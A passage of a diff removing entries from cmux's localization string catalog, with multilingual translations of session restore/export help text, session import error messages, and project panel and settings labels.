الحالي.\nإذا لم يكن التطبيق يعمل، فسيُشغَّل cmux وتعيد استعادة بدء التشغيل فتح الجلسة المحفوظة.\n\nيحفظ كل تثبيت من cmux (stable وnightly وrc وstaging وإصدارات debug الموسومة) جلسته الخاصة.\n--from <channel> افتح الجلسة المحفوظة لتثبيت آخر في cmux الذي يعمل الآن، مثلًا\n بعد تجربة nightly والعودة إلى stable. تُفتح الجلسة في\n نوافذ إضافية، ويُقرأ ملف التثبيت الآخر فقط.\n--from <path> افتح ملف جلسة كتبه الأمر --export.\n--export <path> اكتب الجلسة المحفوظة لهذا cmux في ملف. استخدم --force لاستبدال\n ملف موجود.\n\nيتطلب --from و--export أن يكون cmux قيد التشغيل." - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "用法: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n重新開啟上次儲存的 cmux 工作階段。\n\n如果 App 已在執行,會將上次儲存的工作階段還原到目前的 App 中。\n如果 App 未執行,會啟動 cmux,並由啟動還原重新開啟已儲存的工作階段。\n\n每個 cmux 安裝(stable、nightly、rc、staging、帶標籤的 debug 建置)都會儲存自己的工作階段。\n--from <channel> 在執行中的 cmux 開啟另一個安裝儲存的工作階段,例如\n 試用 nightly 後切回 stable。工作階段會以\n 額外視窗開啟;另一個安裝的檔案只會被讀取。\n--from <path> 開啟由 --export 寫出的工作階段檔案。\n--export <path> 將此 cmux 儲存的工作階段寫入檔案。使用 --force 可取代\n 既有檔案。\n\n--from 和 --export 需要 cmux 正在執行。" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "用法: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n重新打开上次保存的 cmux 会话。\n\n如果应用已在运行,会将上次保存的会话恢复到当前应用中。\n如果应用未运行,会启动 cmux,并由启动恢复重新打开保存的会话。\n\n每个 cmux 安装(stable、nightly、rc、staging、带标签的 debug 构建)都会保存自己的会话。\n--from <channel> 在正在运行的 cmux 中打开另一个安装保存的会话,例如\n 试用 nightly 后切回 stable。会话会以\n 额外窗口打开;另一个安装的会话文件只会被读取。\n--from <path> 打开由 --export 写出的会话文件。\n--export <path> 将此 cmux 保存的会话写入文件。使用 --force 可替换\n 已有文件。\n\n--from 和 --export 需要 cmux 正在运行。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "사용법: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n마지막으로 저장된 cmux 세션을 다시 엽니다.\n\n앱이 이미 실행 중이면 마지막으로 저장된 세션을 현재 앱에 복원합니다.\n앱이 실행 중이 아니면 cmux를 실행하고 시작 복원이 저장된 세션을 다시 열도록 합니다.\n\n각 cmux 설치(stable, nightly, rc, staging, 태그가 지정된 debug 빌드)는 자체 세션을 저장합니다.\n--from <channel> 다른 설치에 저장된 세션을 실행 중인 이 cmux에서 엽니다. 예를 들어\n nightly를 사용해 본 뒤 stable로 돌아올 때 사용합니다. 세션은\n 추가 창으로 열리며, 다른 설치의 파일은 읽기만 합니다.\n--from <path> --export로 작성한 세션 파일을 엽니다.\n--export <path> 이 cmux에 저장된 세션을 파일로 씁니다. 기존 파일을 바꾸려면\n --force를 사용하세요.\n\n--from과 --export를 사용하려면 cmux가 실행 중이어야 합니다." - } - } - } - }, - "session.export.error.destinationExists": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%@ already exists. Pass --force to replace it." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "%@ موجود بالفعل. استخدم --force لاستبداله." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ ist bereits vorhanden. Verwenden Sie --force, um die Datei zu ersetzen." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%@ ya existe. Usa --force para reemplazarlo." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%@ existe déjà. Ajoutez --force pour le remplacer." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ はすでに存在します。置き換えるには --force を指定してください。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일이 이미 있습니다. 바꾸려면 --force를 사용하세요." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%@ 已存在。使用 --force 以替换它。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%@ 已存在。使用 --force 以取代它。" - } - } - } - }, - "session.export.error.destinationIsLive": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%@ is this cmux's own session file. Choose another path." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "%@ هو ملف الجلسة الخاص بهذا الـ cmux. اختر مسارًا آخر." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ ist die eigene Sitzungsdatei dieses cmux. Wählen Sie einen anderen Pfad." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%@ es el archivo de sesión de este cmux. Elige otra ruta." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%@ est le fichier de session de ce cmux. Choisissez un autre chemin." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ はこの cmux 自身のセッションファイルです。別のパスを指定してください。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일은 이 cmux의 세션 파일입니다. 다른 경로를 선택하세요." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%@ 是此 cmux 自己的会话文件。请选择其他路径。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%@ 是此 cmux 本身的工作階段檔案。請選擇其他路徑。" - } - } - } - }, - "session.export.error.noSnapshot": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "cmux has not saved a session yet. Try again in a few seconds." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "لم يحفظ cmux أي جلسة بعد. حاول مرة أخرى بعد بضع ثوانٍ." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "cmux hat noch keine Sitzung gespeichert. Versuchen Sie es in ein paar Sekunden erneut." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "cmux aún no ha guardado ninguna sesión. Inténtalo de nuevo en unos segundos." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "cmux n'a pas encore enregistré de session. Réessayez dans quelques secondes." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "cmux はまだセッションを保存していません。数秒後にもう一度お試しください。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "cmux가 아직 세션을 저장하지 않았습니다. 몇 초 후에 다시 시도하세요." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "cmux 尚未保存会话。请几秒后再试。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "cmux 尚未儲存工作階段。請過幾秒再試一次。" - } - } - } - }, - "session.export.error.writeFailed": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Could not write %@." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "تعذّرت كتابة %@." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ konnte nicht geschrieben werden." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "No se pudo escribir %@." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Impossible d'écrire %@." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ を書き込めませんでした。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일을 쓸 수 없습니다." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "无法写入 %@。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "無法寫入 %@。" - } - } - } - }, - "session.import.error.fileNotFound": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "No saved cmux session at %@." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "لا توجد جلسة cmux محفوظة في %@." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Unter %@ gibt es keine gespeicherte cmux-Sitzung." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "No hay ninguna sesión de cmux guardada en %@." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Aucune session cmux enregistrée à l'emplacement %@." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ に保存された cmux セッションはありません。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 위치에 저장된 cmux 세션이 없습니다." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%@ 没有已保存的 cmux 会话。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%@ 沒有已儲存的 cmux 工作階段。" - } - } - } - }, - "session.import.error.newerSchema": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%1$@ was saved by a newer cmux (session format %2$@, this cmux reads %3$@). Update cmux to import it." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "حُفظ %1$@ بواسطة إصدار أحدث من cmux (تنسيق الجلسة %2$@، ويقرأ هذا الـ cmux التنسيق %3$@). حدّث cmux لاستيراده." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%1$@ wurde von einem neueren cmux gespeichert (Sitzungsformat %2$@, dieses cmux liest %3$@). Aktualisieren Sie cmux, um die Datei zu importieren." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%1$@ se guardó con un cmux más reciente (formato de sesión %2$@; este cmux lee el %3$@). Actualiza cmux para importarlo." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%1$@ a été enregistré par une version plus récente de cmux (format de session %2$@, ce cmux lit le format %3$@). Mettez cmux à jour pour l'importer." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%1$@ は新しい cmux で保存されています(セッション形式 %2$@、この cmux が読める形式は %3$@)。読み込むには cmux をアップデートしてください。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%1$@ 파일은 더 새로운 cmux에서 저장되었습니다(세션 형식 %2$@, 이 cmux는 %3$@ 형식을 읽음). 가져오려면 cmux를 업데이트하세요." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%1$@ 由较新版本的 cmux 保存(会话格式 %2$@,此 cmux 读取 %3$@)。请更新 cmux 后再导入。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%1$@ 是由較新版本的 cmux 儲存(工作階段格式 %2$@,此 cmux 讀取 %3$@)。請更新 cmux 後再匯入。" - } - } - } - }, - "session.import.error.noWindows": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%@ has no windows to restore." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "لا يحتوي %@ على نوافذ لاستعادتها." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ enthält keine Fenster zum Wiederherstellen." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%@ no tiene ventanas que restaurar." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%@ ne contient aucune fenêtre à restaurer." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ には復元できるウインドウがありません。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일에 복원할 창이 없습니다." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%@ 没有可恢复的窗口。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%@ 沒有可還原的視窗。" - } - } - } - }, - "session.import.error.notASnapshot": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%@ is not a cmux session snapshot." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "%@ ليس لقطة جلسة cmux." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ ist keine cmux-Sitzungsdatei." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%@ no es una instantánea de sesión de cmux." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%@ n'est pas un instantané de session cmux." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ は cmux のセッションスナップショットではありません。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일은 cmux 세션 스냅샷이 아닙니다." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%@ 不是 cmux 会话快照。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%@ 不是 cmux 工作階段快照。" - } - } - } - }, - "session.import.error.nothingRestored": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Nothing in %@ could be reopened." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "تعذّر إعادة فتح أي شيء من %@." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Aus %@ konnte nichts wieder geöffnet werden." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "No se pudo volver a abrir nada de %@." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Aucun élément de %@ n'a pu être rouvert." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ から再度開けるものはありませんでした。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일에서 다시 열 수 있는 항목이 없습니다." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "无法重新打开 %@ 中的任何内容。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "無法重新開啟 %@ 中的任何內容。" - } - } - } - }, - "session.import.error.olderSchema": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%1$@ uses an older session format (%2$@) that this cmux no longer reads (%3$@)." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "يستخدم %1$@ تنسيق جلسة أقدم (%2$@) لم يعد هذا الـ cmux يقرؤه (%3$@)." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%1$@ verwendet ein älteres Sitzungsformat (%2$@), das dieses cmux nicht mehr liest (%3$@)." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%1$@ usa un formato de sesión anterior (%2$@) que este cmux ya no lee (%3$@)." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%1$@ utilise un ancien format de session (%2$@) que ce cmux ne lit plus (%3$@)." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%1$@ はこの cmux が読み込まなくなった古いセッション形式(%2$@)を使用しています(%3$@)。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%1$@ 파일은 이 cmux가 더 이상 읽지 않는 이전 세션 형식(%2$@)을 사용합니다(%3$@)." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%1$@ 使用较旧的会话格式(%2$@),此 cmux 已不再读取(%3$@)。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%1$@ 使用較舊的工作階段格式(%2$@),此 cmux 已不再讀取(%3$@)。" - } - } - } - }, - "session.import.error.unknownChannel": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Unknown cmux channel \"%@\". Use stable, nightly, rc, staging, debug:<tag>, or a path to a session file." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "قناة cmux غير معروفة \"%@\". استخدم stable أو nightly أو rc أو staging أو debug:<tag> أو مسار ملف جلسة." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Unbekannter cmux-Kanal \"%@\". Verwenden Sie stable, nightly, rc, staging, debug:<tag> oder einen Pfad zu einer Sitzungsdatei." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Canal de cmux desconocido \"%@\". Usa stable, nightly, rc, staging, debug:<tag> o la ruta de un archivo de sesión." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Canal cmux inconnu « %@ ». Utilisez stable, nightly, rc, staging, debug:<tag> ou le chemin d'un fichier de session." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "不明な cmux チャンネル「%@」です。stable、nightly、rc、staging、debug:<tag>、またはセッションファイルのパスを指定してください。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "알 수 없는 cmux 채널 \"%@\"입니다. stable, nightly, rc, staging, debug:<tag> 또는 세션 파일 경로를 사용하세요." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "未知的 cmux 渠道“%@”。请使用 stable、nightly、rc、staging、debug:<tag> 或会话文件路径。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "未知的 cmux 通道「%@」。請使用 stable、nightly、rc、staging、debug:<tag> 或工作階段檔案路徑。" - } - } - } - }, - "session.import.error.unreadable": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Could not read %@." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "تعذّرت قراءة %@." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ konnte nicht gelesen werden." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "No se pudo leer %@." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Impossible de lire %@." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ を読み込めませんでした。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일을 읽을 수 없습니다." - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "无法读取 %@。" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "無法讀取 %@。" - } - } - } - }, - "session.import.error.liveSnapshot": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "%@ is the session this cmux is saving right now. Run cmux restore-session without --from to reopen the previous launch." - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ ist die Sitzung, die dieses cmux gerade speichert. Führen Sie cmux restore-session ohne --from aus, um den vorherigen Start wieder zu öffnen." - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "%@ est la session que ce cmux enregistre actuellement. Exécutez cmux restore-session sans --from pour rouvrir le lancement précédent." - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "%@ هي الجلسة التي يحفظها cmux هذا الآن. شغّل cmux restore-session دون --from لإعادة فتح التشغيل السابق." - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "%@ es la sesión que este cmux está guardando ahora. Ejecuta cmux restore-session sin --from para volver a abrir el inicio anterior." - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "%@ 是此 cmux 目前正在儲存的工作階段。執行不含 --from 的 cmux restore-session 以重新開啟上次啟動的內容。" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "%@ 是此 cmux 当前正在保存的会话。运行不带 --from 的 cmux restore-session 以重新打开上次启动的内容。" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 파일은 이 cmux가 지금 저장 중인 세션입니다. 이전 실행을 다시 열려면 --from 없이 cmux restore-session을 실행하세요." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ はこの cmux が現在保存しているセッションです。前回の起動を再度開くには、--from を付けずに cmux restore-session を実行してください。" - } - } - } - }, - "globalSearch.kind.terminal": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Terminal" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "ターミナル" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "터미널" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "طرفية" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "終端" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "终端" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Terminal" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Terminal" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Terminal" - } - } - } - }, "terminal.passwordInput.indicator": { "extractionState": "manual", "localizations": { @@ -547750,1251 +548169,6 @@ } } }, - "browser.omnibar.accessibilityLabel": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Address and search bar" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Adress- und Suchleiste" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Barre d’adresse et de recherche" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "شريط العنوان والبحث" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Barra de direcciones y búsqueda" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "網址與搜尋列" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "地址和搜索栏" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "주소 및 검색 막대" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "アドレスと検索バー" - } - } - } - }, - "projectPanel.reload": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Reload Project" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Projekt neu laden" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Recharger le projet" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "إعادة تحميل المشروع" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Recargar proyecto" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "重新載入專案" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "重新加载项目" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "프로젝트 다시 불러오기" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "プロジェクトを再読み込み" - } - } - } - }, - "projectPanel.reloadErrors": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Reload returned errors: %@" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Beim Neuladen sind Fehler aufgetreten: %@" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Le rechargement a renvoyé des erreurs : %@" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "أعادت إعادة التحميل أخطاء: %@" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "La recarga devolvió errores: %@" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "重新載入時發生錯誤:%@" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "重新加载时出现错误:%@" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "다시 불러오기 중 오류 발생: %@" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "再読み込みでエラーが発生しました: %@" - } - } - } - }, - "projectPanel.dismissReloadErrors": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Dismiss Errors" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Fehler ausblenden" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Ignorer les erreurs" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "تجاهل الأخطاء" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Descartar errores" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "關閉錯誤" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "关闭错误" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "오류 닫기" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "エラーを閉じる" - } - } - } - }, - "projectPanel.scheme": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Scheme" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Schema" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Schéma" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "المخطط" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Esquema" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "方案" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "方案" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "스킴" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "スキーム" - } - } - } - }, - "projectPanel.configuration": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Configuration" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Konfiguration" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Configuration de build" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "التكوين" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Configuración" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "組態" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "配置" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "구성" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "構成" - } - } - } - }, - "projectPanel.loadingFormat": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Loading %@" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "%@ wird geladen" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Chargement de %@" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "جارٍ تحميل %@" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Cargando %@" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "正在載入 %@" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "正在加载 %@" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "%@ 불러오는 중" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "%@ を読み込み中" - } - } - } - }, - "projectPanel.failedFormat": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Failed: %@" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Fehlgeschlagen: %@" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Échec : %@" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "فشل: %@" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Error: %@" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "失敗:%@" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "失败:%@" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "실패: %@" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "失敗: %@" - } - } - } - }, - "dialog.close.dontAskAgain": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Don’t ask again" - } - }, - "ar": { - "stringUnit": { - "state": "translated", - "value": "لا تسأل مرة أخرى" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Nicht mehr fragen" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "No volver a preguntar" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Ne plus demander" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "今後確認しない" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "다시 묻지 않기" - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "Більше не запитувати" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "不再询问" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "不再詢問" - } - } - } - }, - "settings.app.accentColor": { - "localizations": { - "ar": { - "stringUnit": { - "state": "translated", - "value": "لون التمييز" - } - }, - "bs": { - "stringUnit": { - "state": "translated", - "value": "Boja naglaska" - } - }, - "da": { - "stringUnit": { - "state": "translated", - "value": "Accentfarve" - } - }, - "de": { - "stringUnit": { - "state": "translated", - "value": "Akzentfarbe" - } - }, - "en": { - "stringUnit": { - "state": "translated", - "value": "Accent Color" - } - }, - "es": { - "stringUnit": { - "state": "translated", - "value": "Color de acento" - } - }, - "fr": { - "stringUnit": { - "state": "translated", - "value": "Couleur d’accentuation" - } - }, - "it": { - "stringUnit": { - "state": "translated", - "value": "Colore di evidenziazione" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "アクセントカラー" - } - }, - "ko": { - "stringUnit": { - "state": "translated", - "value": "강조 색상" - } - }, - "nb": { - "stringUnit": { - "state": "translated", - "value": "Aksentfarge" - } - }, - "pl": { - "stringUnit": { - "state": "translated", - "value": "Kolor akcentu" - } - }, - "pt-BR": { - "stringUnit": { - "state": "translated", - "value": "Cor de destaque" - } - }, - "ru": { - "stringUnit": { - "state": "translated", - "value": "Цвет акцента" - } - }, - "th": { - "stringUnit": { - "state": "translated", - "value": "สีเน้น" - } - }, - "tr": { - "stringUnit": { - "state": "translated", - "value": "Vurgu Rengi" - } - }, - "uk": { - "stringUnit": { - "state": "translated", - "value": "Колір акценту" - } - }, - "zh-Hans": { - "stringUnit": { - "state": "translated", - "value": "强调色" - } - }, - "zh-Hant": { - "stringUnit": { - "state": "translated", - "value": "強調色" - } - } - } - }, - "settings.app.accentColor.cmux": { - "localizations": { - "ar": 